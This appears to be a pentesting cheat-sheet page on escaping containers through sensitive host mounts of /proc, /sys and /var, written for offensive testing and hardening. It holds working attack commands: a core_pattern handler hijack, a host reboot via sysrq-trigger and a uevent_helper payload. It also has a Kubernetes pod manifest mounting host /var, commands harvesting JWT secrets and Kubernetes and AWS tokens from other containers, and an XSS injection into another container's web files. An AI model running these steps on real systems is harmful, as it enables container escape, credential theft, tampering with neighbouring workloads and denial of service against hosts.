Sensitive Mounts

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The exposure of /proc, /sys, and /var without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting -v /proc:/host/proc can bypass AppArmor protection due to its path-based nature, leaving /host/proc unprotected.

You can find further details of each potential vuln in https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

procfs Vulnerabilities

/proc/sys

This directory permits access to modify kernel variables, usually via sysctl(2), and contains several subdirectories of concern:

/proc/sys/kernel/core_pattern

• Described in core(5).

• Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe |.

• Testing and Exploitation Example:

  [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
  cd /proc/sys/kernel
  echo "|$overlay/shell.sh" > core_pattern # Set custom handler
  sleep 5 && ./crash & # Trigger handler
  

/proc/sys/kernel/modprobe

• Detailed in proc(5).

• Contains the path to the kernel module loader, invoked for loading kernel modules.

• Checking Access Example:

  ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
  

/proc/sys/vm/panic_on_oom

• Referenced in proc(5).
• A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.

/proc/sys/fs

• As per proc(5), contains options and information about the file system.
• Write access can enable various denial-of-service attacks against the host.

/proc/sys/fs/binfmt_misc

• Allows registering interpreters for non-native binary formats based on their magic number.
• Can lead to privilege escalation or root shell access if /proc/sys/fs/binfmt_misc/register is writable.
• Relevant exploit and explanation:
  • Poor man's rootkit via binfmt_misc
  • In-depth tutorial: Video link

Others in /proc

/proc/config.gz

• May reveal the kernel configuration if CONFIG_IKCONFIG_PROC is enabled.
• Useful for attackers to identify vulnerabilities in the running kernel.

/proc/sysrq-trigger

• Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.

• Rebooting Host Example:

  echo b > /proc/sysrq-trigger # Reboots the host
  

/proc/kmsg

• Exposes kernel ring buffer messages.
• Can aid in kernel exploits, address leaks, and provide sensitive system information.

/proc/kallsyms

• Lists kernel exported symbols and their addresses.
• Essential for kernel exploit development, especially for overcoming KASLR.
• Address information is restricted with kptr_restrict set to 1 or 2.
• Details in proc(5).

/proc/[pid]/mem

• Interfaces with the kernel memory device /dev/mem.
• Historically vulnerable to privilege escalation attacks.
• More on proc(5).

/proc/kcore

• Represents the system's physical memory in ELF core format.
• Reading can leak host system and other containers' memory contents.
• Large file size can lead to reading issues or software crashes.
• Detailed usage in Dumping /proc/kcore in 2019.

/proc/kmem

• Alternate interface for /dev/kmem, representing kernel virtual memory.
• Allows reading and writing, hence direct modification of kernel memory.

/proc/mem

• Alternate interface for /dev/mem, representing physical memory.
• Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.

/proc/sched_debug

• Returns process scheduling information, bypassing PID namespace protections.
• Exposes process names, IDs, and cgroup identifiers.

/proc/[pid]/mountinfo

• Provides information about mount points in the process's mount namespace.
• Exposes the location of the container rootfs or image.

/sys Vulnerabilities

/sys/kernel/uevent_helper

• Used for handling kernel device uevents.

• Writing to /sys/kernel/uevent_helper can execute arbitrary scripts upon uevent triggers.

• Example for Exploitation: %%%bash

  Creates a payload

  echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

  Finds host path from OverlayFS mount for container

  hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)

  Sets uevent_helper to malicious helper

  echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

  Triggers a uevent

  echo change > /sys/class/mem/null/uevent

  Reads the output

  cat /output %%%

/sys/class/thermal

• Controls temperature settings, potentially causing DoS attacks or physical damage.

/sys/kernel/vmcoreinfo

• Leaks kernel addresses, potentially compromising KASLR.

/sys/kernel/security

• Houses securityfs interface, allowing configuration of Linux Security Modules like AppArmor.
• Access might enable a container to disable its MAC system.

/sys/firmware/efi/vars and /sys/firmware/efi/efivars

• Exposes interfaces for interacting with EFI variables in NVRAM.
• Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

/sys/kernel/debug

• debugfs offers a "no rules" debugging interface to the kernel.
• History of security issues due to its unrestricted nature.

/var Vulnerabilities

The host's /var folder contains container runtime sockets and the containers' filesystems. If this folder is mounted inside a container, that container will get read-write access to other containers' file systems with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other containers and applications that run in them.

Kubernetes

If a container like this is deployed with Kubernetes:

apiVersion: v1
kind: Pod
metadata:
  name: pod-mounts-var
  labels:
    app: pentest
spec:
  containers:
    - name: pod-mounts-var-folder
      image: alpine
      volumeMounts:
        - mountPath: /host-var
          name: noderoot
      command: [ "/bin/sh", "-c", "--" ]
      args: [ "while true; do sleep 30; done;" ]
  volumes:
    - name: noderoot
      hostPath:
        path: /var

Inside the pod-mounts-var-folder container:

/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html

The XSS was achieved:

Note that the container DOES NOT require a restart or anything. Any changes made via the mounted /var folder will be applied instantly.

You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

Access to cloud credentials

The container can read K8s serviceaccount tokens or AWS webidentity tokens which allows the container to gain unauthorized access to K8s or cloud:

/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token

Docker

The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually the other containers' filesystems are available under a different base path:

$ docker info | grep -i 'docker root\|storage driver'
 Storage Driver: overlay2
 Docker Root Dir: /var/lib/docker

So the filesystems are under /var/lib/docker/overlay2/:

$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>

Note

The actual paths may differ in different setups, which is why your best bet is to use the find command to locate the other containers' filesystems and SA / web identity tokens

References

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
• Understanding and Hardening Linux Containers
• Abusing Privileged and Unprivileged Linux Containers